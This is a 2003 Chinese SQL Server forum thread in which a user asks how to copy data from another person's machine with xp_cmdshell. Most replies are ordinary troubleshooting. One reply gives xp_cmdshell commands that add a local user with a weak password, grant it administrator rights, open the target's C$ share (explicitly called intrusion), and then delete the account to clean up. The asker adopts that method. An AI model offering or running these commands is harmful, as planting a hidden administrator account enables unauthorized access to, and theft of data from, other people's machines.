xp_cmdshell 用法问题,谢谢指教。

Rossetti 2003-07-21 12:11:50
请问如何拷贝他人机器上的数据。
是:exec xp_cmdshell 'copy c:\winnt\NOTEPAD.EXE \\myserver\temp'吗?
为什么不好使。
说拷贝零个文件。
谢谢赐教!
...全文
51 6 打赏 收藏 转发到动态 举报
写回复
用AI写文章
6 条回复
切换为时间正序
请发表友善的回复…
发表回复
97866 2003-07-23
  • 打赏
  • 举报
回复
up
Rossetti 2003-07-23
  • 打赏
  • 举报
回复
pengdali(大力 V2.0) 的方法方便多了。
CrazyFor 2003-07-21
  • 打赏
  • 举报
回复
TRY:
exec xp_cmdshell 'net use \\myserver\temp "密码" /user:MYSERVER的用户'
--这个用户要有防问共享目录TEMP的权限.
zjcxc 2003-07-21
  • 打赏
  • 举报
回复
你看错误提示是什么?
zjcxc 2003-07-21
  • 打赏
  • 举报
回复
你的方法是复制:
sql server服务器所在电脑上的c:\winnt\NOTEPAD.EXE 到 \\myserver\temp

你在:sql server服务器所在电脑上运行:
copy c:\winnt\NOTEPAD.EXE \\myserver\temp

如果能成功,那:exec xp_cmdshell 'copy c:\winnt\NOTEPAD.EXE \\myserver\temp'
也能成功,否则也不能成功
pengdali 2003-07-21
  • 打赏
  • 举报
回复
这样:

xec xp_cmdshell 'net user mm 123 /add' --添加一用户
exec xp_cmdshell 'net localgroup administrators mm /add' --为用户添加管理员权限

windows开始菜单-->运行-->写入“\\对方机器\c$”入侵

最后用 exec xp_cmdshell 'net user admin /delete'把用户给删除掉

11,849

社区成员

发帖
与我相关
我的任务
社区描述
MS-SQL Server 非技术版
社区管理员
  • 非技术版社区
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧